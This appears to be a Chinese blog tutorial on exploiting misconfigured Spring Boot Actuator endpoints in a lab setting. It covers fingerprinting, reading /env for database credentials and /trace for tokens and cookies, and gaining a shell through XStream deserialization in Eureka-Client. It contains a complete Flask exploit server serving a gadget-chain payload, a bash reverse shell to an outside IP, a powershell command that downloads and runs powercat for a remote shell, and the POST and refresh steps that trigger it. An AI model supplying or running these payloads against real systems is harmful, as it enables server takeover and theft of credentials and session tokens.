zoukankan      html  css  js  c++  java
  • Springboot未授权访问

    Actuator简介

    Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。

    如上所言,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

    springboot框架站点识别

    • 通过 web 应用程序网页标签的图标(favicon.ico)

    如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:

    访问:http://10.1.1.137:8090,可以看到小绿叶图标,说明web应用使用的框架为springboot框架。

    • 通过 springboot 框架默认报错页面

    如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):

    访问一个随便构造的路径,比如:http://10.1.1.137:8090/index,出现如下报错页面说明web网站使用了springboot框架。

    获取执行器端点路径

    通过枚举的方式

    在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可

    漏洞利用

    目标站点 http://10.1.1.137:8090/

    数据库账户密码泄露

    由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息,比如如下站点存在 actuator 配置不当漏洞,通过其/env 路径,可获得 mysql、mangodb 的用户名及密码(这里由于环境原因没有配置明文,实际的生产环境会存在明文密码的现象)。

    查看http历史消息

    这个主要通过访问/trace 路径,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),实际环境中还会存在有用户 token、cookie 字段

    trace 下可以看到我们之前访问的记录

    利用反序列化进行getshell

    通过修改env配置文件进行xstream反序列化

    前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

    需要以下两个包(环境已安装)

    spring-boot-starter-actuator(/refresh刷新配置需要)

    spring-cloud-starter-netflix-eureka-client(功能依赖)

    exp

    # linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
    # windows反弹shell
    # <string>powershell</string>
    # <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
    # <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
    
    from flask import Flask, Response
    
    app = Flask(__name__)
    
    @app.route('/xstream', defaults={'path': ''})
    @app.route('/xstream/<path:path>')
    def catch_all(path):
        xml = """<linked-hash-set>
      <jdk.nashorn.internal.objects.NativeString>
        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
          <dataHandler>
            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
              <is class="javax.crypto.CipherInputStream">
                <cipher class="javax.crypto.NullCipher">
                  <serviceIterator class="javax.imageio.spi.FilterIterator">
                    <iter class="javax.imageio.spi.FilterIterator">
                      <iter class="java.util.Collections$EmptyIterator"/>
                      <next class="java.lang.ProcessBuilder">
                        <command>
                        <string>powershell</string>
                        <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
                          <string>powercat -c [vps地址] -p 2333 -e cmd</string>
                        </command>
                        <redirectErrorStream>false</redirectErrorStream>
                      </next>
                    </iter>
                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                      <method>
                        <class>java.lang.ProcessBuilder</class>
                        <name>start</name>
                        <parameter-types/>
                      </method>
                      <name>foo</name>
                    </filter>
                    <next class="string">foo</next>
                  </serviceIterator>
                  <lock/>
                </cipher>
                <input class="java.lang.ProcessBuilder$NullInputStream"/>
                <ibuffer></ibuffer>
              </is>
            </dataSource>
          </dataHandler>
        </value>
      </jdk.nashorn.internal.objects.NativeString>
    </linked-hash-set>"""
        return Response(xml, mimetype='application/xml')
    if __name__ == "__main__":
        app.run(host='0.0.0.0', port=2333)
    
    

    exp配置 这里我们攻击机IP 10.1.1.135

    前面的箭头为接收反弹shell的ip和端口,后面的端口为我们启动这个脚本而启动的端口

    利用python3启动exploit.py脚本

    另一个shell里nc 监听1234端口

    nc -lvvp 1234


    写入配置

    访问http://10.1.1.137:8090/env然后利用burpsuite抓包

    将get请求改为post请求

    Post数据为 eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream (IP 为本机IP,或者vpsIP)

    然后再访问:http://10.1.1.137:8090/refresh抓包

    将get请求更改为post请求

    如下

    然后反弹一个shell回来

  • 相关阅读:
    [置顶] cocos2dx sqllite 增删查改等操作
    BZOJ 2933([Poi1999]地图-区间Dp)
    java使用batik转换svg文件
    算法小题目小结。。。
    [置顶] shell变量赋值-linux
    高级IO复用应用:聊天室程序
    NSUserDefaults的使用
    动态链接库与静态链接库的区别
    阐明iOS证书和provision文件
    Hyperic Agent 安装配置报
  • 原文地址:https://www.cnblogs.com/l0nmar/p/13333950.html
Copyright © 2011-2022 走看看